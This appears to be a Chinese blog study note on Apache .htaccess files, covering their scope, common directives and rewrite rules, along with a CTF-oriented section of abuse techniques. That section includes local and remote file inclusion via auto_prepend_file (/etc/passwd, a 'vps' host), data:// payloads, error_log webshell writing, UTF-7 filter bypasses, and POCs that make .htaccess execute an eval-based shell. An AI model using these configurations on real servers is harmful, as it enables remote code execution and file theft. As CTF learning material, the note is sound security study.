.htaccess文件的华点
今天找了一下使用.htaccess配置文件绕过<?
的方法,发现有不不少值得关注的配置,另外也学习了一下.htaccess的工作方式和配置语法。
–2022.5.27
[TOC]
简单介绍
相关模块 | 相关指令 |
---|---|
core mod_authn_file mod_authz_groupfile mod_cgi mod_include mod_mime | AccessFileName AllowOverride Options AddHandler SetHandler AuthType AuthName AuthUserFile AuthGroupFile Require |
如果需要使用.htaccess
以外的其他文件名,可以用AccessFileName
指令来改变。例如,需要使用.config
,则可以在服务器配置文件中按以下方法配置:
AccessFileName .config
通常,.htaccess
文件使用的配置语法和主配置文件一样。AllowOverride
指令按类别决定了.htaccess
文件中哪些指令才是有效的。如果一个指令允许在.htaccess
中使用,此指令会有一个覆盖项段,其中说明了为使此指令生效而必须在AllowOverride
指令中设置的值。
例如,对AddDefaultCharset
指令的阐述表明此指令可以用于.htaccess
文件中(见"作用域"项),而覆盖项一行是FileInfo
,那么为了使.htaccess
中的此指令有效,则至少要设置 AllowOverride FileInfo
。
作用域 | server config, virtual host, directory, .htaccess |
---|---|
覆盖项 | FileInfo |
想要.htaccess起作用就需要先在apache2.conf 中配置AllowOverride 为ALL,否则.htaccess就可能不会覆盖原有的某些配置
.htaccess作用域**
server config, virtual host, directory, .htaccess, FilesMatch
作用域是在标签开头设置好的,它的作用就是设置标签内的配置只有在标签指定的作用域内才会产生作用
例如:
代码语言:javascript复制<FilesMatch .htaccess>
SetHandler application/x-httpd-php
php_flag engine on
</FilesMatch>
这个配置就是对.htaccess文件的配置,首先设置文件解析使用php解释器, 并将php配置中的解释器配置engine打开,(如果关了的话会直接显示出php的源码),至于具体的配置可以看下面的.htaccess 常见指令部分
如果directory而不是FilesMatch的话那么配置就会在指定的目录生效(前提是访问目录文件时会加载到.htaccess文件的配置)
什么时候.htaccess文件的配置会生效?
总结来说就是
.htaccess
文件中的配置,都可以放在主配置文件的<Directory>
段完成, 每次访问一个资源的时候会向上遍历父目录下的.htaccess文件配置
.htaccess
文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess
文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。
虽然如此,一般都应该尽可能地避免使用.htaccess
文件。任何希望放在.htaccess
文件中的配置,都可以放在主配置文件的<Directory>
段中,而且更高效。
避免使用.htaccess
文件有两个主要原因。
首先是性能。如果AllowOverride
启用了.htaccess
文件,则Apache需要在每个目录中查找.htaccess
文件,因此,无论是否真正用到,启用.htaccess
都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess
文件。
还有,Apache必须在所有上级的目录中查找.htaccess
文件,以使所有有效的指令都起作用(参见指令的生效),所以,如果请求/www/htdocs/example
中的页面,Apache必须查找以下文件:
/.htaccess
/www/.htaccess
/www/htdocs/.htaccess
/www/htdocs/example/.htaccess
总共要访问4个额外的文件,即使这些文件都不存在。(注意,这可能仅仅由于允许根目录"/
"使用.htaccess
,虽然这种情况并不多。)
指令的生效
上面提到,会加载全部父目录的.htaccess文件,如果多个目录都对某种规则进行了设置那么最后哪个文件的配置会生效呢?
答案是最后一个子目录的配置文件的配置会生效,因为配置文件是先从根目录开始逐渐向下加载(如果有的话),当子目录有配置和父目录的配置发生冲突时上一级的配置就会被下一级的配置所覆盖
.htaccess 常见指令
SetHandler
SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。
用法: SetHandler handler-name|None SetHandler application/x-httpd-php SetHandler server-status
AddHandler
AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。
用法: AddHandler handler-name extensive [extensive] … AddHandler cgi-script .xxx 即将扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddType
AddType 指令可以将给定的文件扩展名映射到指定的内容类型。
用法: AddType media-type extensive [extensive] … AddType application/x-httpd-php .gif AddType application/x-httpd-php png jpg gif 将指定的后缀名交给指定处理器处理
php_flag
php_flag 指令用来设定布尔值类型的 PHP 配置选项。
用法: php_flag name on|off php_flag engine 0 #将 engine 设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。
php_flag 可以设定的配置也是有范围的
php_value
可以用 Apache 的配置文件(例如 httpd.conf)或 .htaccess 文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options 或 AllowOverride All 权限才可以。php_value 指令用来设定指定的 PHP 的配置值。要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用 php_flag。
重要的事情说三遍:
- 并不是全部的PHP变量都可以用.htaccess的php_value设置
- 并不是全部的PHP变量都可以用.htaccess的php_value设置
- 并不是全部的PHP变量都可以用.htaccess的php_value设置
用法: php_value name value php_value auto_prepend_file images.png
但是并不是所有的 PHP 配置都可以用 php_value 来设定,如下查看配置可被设定范围:
.htaccess 的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的配置。
本地文件包含
php_value auto_prepend_file /etc/passwd php_value auto_append_file /etc/passwd
远程文件包含
allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 指令在 .htaccess 文件中开启。所以想要执行远程文件包含还是要打开allow_url_include
php_value auto_prepend_file http://vps/1.txt php_value auto_append_file http://vps/1.txt
任意代码执行
使用条件: allow_url_fopen 为 On•allow_url_include 为 On•目标环境的当前目录中存在至少一个 PHP 文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 php_value auto_append_file data://text/plian, // 如果不使用base64加密则注意需要url编码
如果没有php文件的话可以通过预加载.htaccess文件或者将.htaccess作为文件后缀指定使用php处理器处理
方法一: php_value auto_append_file .htaccess#<?php phpinfo();?> 方法二: Require all granted Order allow,deny Allow from all SetHandler application/x-httpd-php#
XSS 攻击
可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。(第一次知道这个环境变量,真的细)
xss=
方法一:
highlight_file
高亮输出,只要执行highlight_file就会输出xss内容 php_value highlight.comment xss 方法二: 报错输出,只要出错就会输出xss内容 php_flag display_errors 1 php_flag html_errors 1 php_value docref_root xss
自定义错误文件写shell
error_log 可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径,并以此来写入Webshell:
php_value error_log /var/www/html/shell.php php_value include_path "
但是上面的文件内容时<会先经过html编码变为<后才被写入日志文件,想要饶过的话可以使用UTF-7编码
php_flag zend.multibyte 1 php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"
正则回朔绕过正则匹配
之前看到过p神的文章《PHP利用PCRE回溯次数限制绕过某些安全限制》里面介绍了如何通过回溯次数限制绕过正则匹配,没想到设置回溯限制次数的变量也在在
这里
提到了
php_value pcre.backtrack_limit 0php_value pcre.jit 0
绕过 <? 特殊字符
下面的绕过方式其实是伪协议的使用,通过伪协议对文件内容进行解码得到包含<?在内的shell文件内, 然后再通过预加载文件设置执行伪协议解码后的shell代码
方法一: php伪协议解析UTF-7(还有base64或其它解码方法也行)
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
# images.png 中是经过base64编码后的Webshell
方法二: 指定UTF-7协议解析字符串
php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
方法三: 通过data协议指定base64解析字符串
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8
没动手使,但是感觉这两个使用协议执行命令应该也是需要开启url_fopen和url_finclude配置的,毕竟auto_append_file指定的的文件只是被通过include这种方式进行的文件包含
多指令结合
可以通过下面两个方法直接将shellcode写在.htaccess里面并且直接访问.htaccess就能执行代码
配置一: 设置文件.htaccess为预加载文件
配置二: 在.htaccess里面写php的shellcode
通过上面两个配置我们在每次访问php文件的时候都会加载.htaccess里面的代码
其实我们还可以再进一步, 即使没有php文件也可以执行shellcode,在配置一二基础上加上下面配置:
配置三: 上传png jpg等文件并且设置这些文件后缀的处理器为php处理器
上面设置也可以在没有php文件的条件下执行.htaccess里面的shellcode,但是其实可以再上传一个文件的话直接在上传文件写shellcode即可也没有必要在.htaccess里面写shellcode了,再进一步是怎么样的呢?
配置四: 设置.htaccess后缀文件交给php解释器解析
通过配置二四我们就可以直接在访问.htaccess的时候执行里面的shellcode命令,但是需要注意的是,默认情况下处于安全考虑.htaccess文件是不能被访问直接的,所以我们再加上一个允许.htaccess被访问的配置后得到下面poc:
POC1:
SetHandler application/x-httpd-php Require all granted php_flag engine on
POC2:
Require all granted php_value auto_append_file .htaccess php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"# ADw?php eval( ACQAXw-POST AFs-whoami AF0) ADs? AD4-
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:
AddType application/x-httpd-php .png# 即: AddType application/x-httpd-php .png
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。
我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
#define test_width 16#define test_height 7static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };
可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337x1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:
#define width 1337#define height 1337AddType application/x-httpd-php images.png
例题:
[Insomnihack Teaser 2019 Web]l33t-hoster
[SUCTF 2019]EasyWeb
除了上面这些在
Web安全|.htaccess的奇淫技巧
中提到的之外还有一些文章提到的点也很有意思,在这里记录一下:
网站重定向
网站重定向的功能可以说是都是一些日常开发人员的需求,在这里就不细说了,详细的可以看
文章:.htaccess文件格式
,这里简单列两点:
RewriteEngine On|Off
RewriteEngine 用于开启或停用rewrite功能。rewrite configurations 不会自动继承。
rewrite的语法格式
RewriteEngine On #启用rewrite起作用。
RewriteBase url-path #设定基准目录。
RewriteCond test-string condPattern #用于测试rewrite的匹配条件。
RewriteRule Pattern Substitution #规则
RewriteCond在看文章
Apache中的htaccess文件格式简析
我主要注意到了几个标签标记作用
T Type 强制执行指明的MIME类
PT Passthrough 将重写后的URL地址传递给另一个Apache模块进行进一步处理
E Env 设置环境变量
标签标记:
标记 | 含义 | 描述 |
---|---|---|
R | Redirect | 发出一个HTTP重定向 |
F | Forbidden | 禁止对URL地址的存取 |
G | Gone | 标记URL地址不存在 |
P | Proxy | 将URL地址传递给mod_proxy |
L | Last | 停止处理接下来的规则 |
N | Next | 再次重第一个规则开始处理,但是使用当前重写后的URL地址 |
C | Chain | 将当前的规则和紧随其后的规则链接起来 |
T | Type | 强制执行指明的MIME类 |
NS | Nosubreq | 只在没有任何内部子请求执行时运行本脚本 |
NC | Nocase | URL地址匹配对大小写不敏感 |
QSA | Qsappend | 在新的URL地址后附加查询字符串部分,而不是替代 |
PT | Passthrough | 将重写后的URL地址传递给另一个Apache模块进行进一步处理 |
S | Skip | 忽略之后的规则 |
E | Env | 设置环境变量 |
RewriteCond参数:
参数 | 含义 | 解释 |
---|---|---|
-d | 目录 | 将TestString视为一个路径名并测试它是否为一个存在的目录。 |
-f | 常规文件 | 将TestString视为一个路径名并测试它是否为一个存在的常规文件。 |
-s | 非空的常规文件 | 将TestString视为一个路径名并测试它是否为一个存在的、尺寸大于0的常规文件。 |
-l | 符号连接 | 将TestString视为一个路径名并测试它是否为一个存在的符号连接。 |
-x | 可执行 | 将TestString视为一个路径名并测试它是否为一个存在的、具有可执行权限的文件。该权限由操作系统检测。 |
-F | 对子请求存在的文件 | 检查TestString是否为一个有效的文件,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用! |
-U | 对子请求存在的URL | 检查TestString是否为一个有效的URL,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用! |
服务器端包含(SSI)举例
.htaccess文件的另一个常见用途是允许一个特定的目录使用服务器端包含(SSI),可以在需要的目录中放置.htaccess文件,并作如下配置:
Options Includes AddType text/html shtml AddHandler server-parsed shtml
注意,必须同时设置 AllowOverride Options 和 AllowOverride FileInfo 以使这些指令生效。
CGI
可以通过.htaccess文件允许在特定的目录中执行CGI程序,需要作如下配置:
Options ExecCGI AddHandler cgi-script cgi pl
另外,如下配置可以使给定目录下的所有文件被视为CGI程序:
Options ExecCGI SetHandler cgi-script
注意,必须同时设置 AllowOverride Options 和 AllowOverride FileInfo 以使这些指令生效。
用户网站目录
相关模块 | 相关指令 |
---|---|
mod_userdir | UserDir DirectoryMatch AllowOverride |
这个可以到官网手册https://www.php.cn/manual/view/17331.html#related看一下,主要涉及目录的服务用户对象和为不同目录开启服还有开启CGI的配置
别的一些。。。
缓存文件
此外我还在文章
.htaccess文件格式
中看到缓存文件的配置,
<FilesMatch “.(flv|gif|jpg|jpeg|png|ico|swf|js|css|pdf)$”>
Header set Cache-Control “max-age=2592000〃
</FilesMatch>
想到了之前的include文件包含tmp下的临时文件,不知道这个缓存配置的缓存方法是怎么样的,如果是可以在较长时间内保存着这个文件的话那就有意思了,不过还没动手测试,等过两天结束国赛之后去把这些配置的使用都上手试一遍
apache2缓冲的官方文档:
缓冲指南
参考文章:
.htaccess文件官方文档介绍(这真是Apache2官方文档)
htaccess 文件:终极指南
.htaccess文件格式
Apache中的htaccess文件格式简析